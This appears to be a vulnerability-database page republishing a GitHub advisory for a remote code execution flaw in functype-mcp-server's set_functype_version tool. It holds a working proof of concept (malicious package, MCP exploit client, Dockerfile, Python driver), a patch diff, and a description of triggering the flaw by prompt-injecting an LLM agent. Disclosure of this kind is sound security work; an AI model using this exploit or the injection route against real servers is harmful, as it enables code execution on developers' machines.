functype-mcp-server CVE-2026-59176
HIGHSeverity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Stdio transport confines the vector to local access (AV:L); no auth required (PR:N); MCP client must invoke the tool (UI:R); full process compromise at exploitation.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
4DescriptionGitHub Advisory
MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import
Summary
The set_functype_version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process - full confidentiality, integrity, and availability impact (CVSS 7.8 High).
Details
The vulnerable code is in packages/mcp-server/src/index.ts. The set_functype_version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).
Source (user input accepted without validation):
// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),Only z.string() validation is applied - no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.
Sink 1 - arbitrary package installation:
// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
const spec = `functype@${args.version}`
try {
execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.
Sink 2 - dynamic import executes installed package code:
// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
const resolvedPath = require.resolve("functype/cli")
cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.
Data flow summary:
index.ts:115- MCP toolset_functype_versionregistered, no auth required.index.ts:119-121-versionaccepted as rawz.string()(source).index.ts:123-functype@${args.version}constructed without sanitization.index.ts:125-execFileSync("pnpm", ["add", spec], ...)installs attacker-controlled package (sink: arbitrary install).index.ts:134-initDocsData(true)called immediately.data.ts:29-30-require.resolve("functype/cli")+ dynamicimport()executes attacker module (sink: RCE).
PoC
Step 1 - Prepare the attacker-controlled evil package:
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOFStep 2 - Clone and build the victim monorepo at the affected version:
TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server buildStep 3 - Set up an MCP client to deliver the exploit:
cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk
cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
command: "node",
args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
env: { ...process.env, TRANSPORT_TYPE: "stdio" },
});
await client.connect(transport);
const result = await client.callTool({
name: "set_functype_version",
arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF
REPO="$TMP/functype" node exploit.mjsStep 4 - Verify arbitrary code execution:
cat /pwned.txt
# Expected output: RCE: mcp import-time code execution via set_functype_versionDynamic reproduction (Docker):
The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.
[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic importRecommended remediation:
+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+ const trimmed = version.trim()
+ return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}
execute: async (args) => {
- const spec = `functype@${args.version}`
+ if (!isSafeFunctypeVersion(args.version)) {
+ return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+ }
+ const spec = `functype@${args.version}`
try {
- execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
+ execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })Impact
This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the set_functype_version tool - which requires no authentication and is enabled by default in the stdio MCP server - can execute arbitrary JavaScript in the MCP server process.
Who is impacted:
- Developers and teams running
functype-mcp-server(version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a
set_functype_versioncall with afile:ornpm:alias payload. - In non-default
TRANSPORT_TYPE=httpStreamdeployments, network-accessible attackers can exploit this without local access.
The full impact at exploitation is confidentiality, integrity, and availability - an attacker can read secrets from the process environment, modify files, or crash the server.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
#
# Build context: reports/npmAI_684_jordanburke__functype/
# COPY repo/ -> /workspace/functype/ (victim monorepo)
# COPY vuln-001/ -> supporting PoC files
#
# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
# Run: docker run --rm vuln001-functype-rce
#
# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.
FROM node:24-slim
# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
RUN npm install -g pnpm@11.7.0 --quiet
# ── Victim workspace ──────────────────────────────────────────────────────────
WORKDIR /workspace/functype
COPY repo/ ./
# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
# caused by running on a different pnpm minor than the one that generated the
# lockfile; the installed versions are still constrained by the lockfile
# specifiers for the packages we care about.
RUN pnpm install --no-frozen-lockfile
# Build functype first (mcp-server externals functype at build time).
RUN pnpm -F functype build
# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
RUN pnpm -F functype-mcp-server build
# ── Attacker-controlled evil package ─────────────────────────────────────────
# /evil/cli.js writes /pwned.txt when dynamically imported.
COPY vuln-001/evil/ /evil/
# ── MCP exploit client ────────────────────────────────────────────────────────
WORKDIR /client
RUN npm init -y --quiet && \
npm pkg set type=module && \
npm install @modelcontextprotocol/sdk@1.29.0 --quiet
COPY vuln-001/client/exploit.mjs ./exploit.mjs
# Default entrypoint: run the exploit and exit 0 on success.
CMD ["node", "/client/exploit.mjs"]poc.py
#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).
Attack chain:
1. Attacker calls MCP tool set_functype_version with version="file:/evil"
2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
3. Evil package is installed as the functype alias in mcp-server's node_modules
4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)
Usage:
python3 poc.py [--build-only]
Requirements:
- Docker daemon running
- Build context at parent directory of this file's directory
"""
import subprocess
import sys
import json
import os
import argparse
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
REPORT_DIR = os.path.dirname(VULN_DIR)
IMAGE_NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")
BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]
def run(cmd, timeout=None, **kwargs):
"""Run a command and return CompletedProcess with combined output."""
return subprocess.run(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=timeout,
**kwargs,
)
def write_result(passed, verdict, reason, evidence):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": " ".join(BUILD_CMD),
"run_command": " ".join(RUN_CMD),
"poc_command": f"python3 {os.path.basename(__file__)}",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
}
with open(RESULT_FILE, "w", encoding="utf-8") as f:
json.dump(result, f, indent=2, ensure_ascii=False)
print(f"[poc] Result written to {RESULT_FILE}")
print(f"[poc] verdict={verdict} passed={passed}")
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
args = parser.parse_args()
# ── Build ─────────────────────────────────────────────────────────────────
print("[poc] Building Docker image (this may take a few minutes)...")
print(f"[poc] Build command: {' '.join(BUILD_CMD)}")
try:
build = run(BUILD_CMD, timeout=900)
except subprocess.TimeoutExpired:
msg = "Docker build timed out after 900 seconds"
print(f"[poc] ERROR: {msg}")
write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
sys.exit(2)
if build.returncode != 0:
tail = (build.stdout + "\n" + build.stderr)[-3000:]
print("[poc] Build FAILED:")
print(tail)
write_result(
False,
"FAIL",
"Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
f"BUILD EXIT {build.returncode}\n{tail}",
)
sys.exit(1)
print("[poc] Build succeeded.")
if args.build_only:
print("[poc] --build-only flag set; skipping run.")
sys.exit(0)
# ── Run ───────────────────────────────────────────────────────────────────
print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")
try:
run_result = run(RUN_CMD, timeout=180)
except subprocess.TimeoutExpired:
msg = "Container run timed out after 180 seconds"
print(f"[poc] ERROR: {msg}")
write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
sys.exit(2)
stdout = run_result.stdout or ""
stderr = run_result.stderr or ""
combined = stdout + "\n" + stderr
print("=" * 60)
print("STDOUT:")
print(stdout)
print("STDERR:")
print(stderr)
print(f"EXIT CODE: {run_result.returncode}")
print("=" * 60)
# Success criteria: exit 0 AND exploit succeeded message present
exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
passed = run_result.returncode == 0 and exploit_succeeded
if passed:
# Extract key evidence lines
evidence_lines = [
line for line in combined.splitlines()
if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
]
evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]
write_result(
True,
"PASS",
(
"컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
"initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
),
evidence,
)
print("[poc] === PASS: exploit reproduced ===")
sys.exit(0)
else:
# Distinguish failure modes
if not exploit_succeeded and run_result.returncode == 0:
verdict = "INCOMPLETE"
reason = (
"/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
"pnpm add 후 require.resolve 경로 확인 필요 - pnpm 가상 스토어 구조로 인해 "
"node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
)
else:
verdict = "FAIL"
reason = (
f"컨테이너 종료 코드 {run_result.returncode}. "
"exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
)
write_result(False, verdict, reason, combined[-2000:])
print(f"[poc] === {verdict}: exploit did not reproduce ===")
sys.exit(1)
if __name__ == "__main__":
main()Articles & Coverage 3
AnalysisAI
Remote code execution in functype-mcp-server 1.4.3 and earlier allows any MCP client - including an LLM agent manipulated via prompt injection - to execute arbitrary JavaScript in the server process by invoking the set_functype_version tool with a file:, git+, or URL package-alias as the version string. The server interpolates the unsanitized input directly into a pnpm add specifier, installs the attacker-controlled package as the functype alias, then immediately dynamic-imports functype/cli from the poisoned location, running module-level attacker code with full MCP server process privileges. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | In the default stdio transport mode (TRANSPORT_TYPE=stdio), exploitation requires the MCP client - typically an LLM/AI coding assistant - to invoke the `set_functype_version` tool with a `file:`, `npm:`, `git+`, or URL package-alias as the version value. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) reflects the dominant stdio-transport deployment, where the attack surface is limited to the local MCP client process - typically an LLM coding assistant. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade functype-mcp-server to version 1.4.4, which applies three layered defenses confirmed in the patch commit (https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf): a strict semver/dist-tag regex that rejects `file:`, `npm:`, `git+`, URL, and path alias syntaxes before they reach pnpm; `--ignore-scripts` added to the `pnpm add` invocation as defense-in-depth against npm lifecycle script execution from a malicious published package that passes the regex; and transport gating that registers `set_functype_version` only when `TRANSPORT_TYPE=stdio`, removing the tool entirely from the HTTP transport. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all systems running functype-mcp-server versions 1.4.3 or earlier-particularly those exposed to untrusted MCP clients or LLM agents-and prepare to upgrade to version 1.4.4 or later; validate the patched version in a staging environment first. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-wcjj-9m6g-2fr2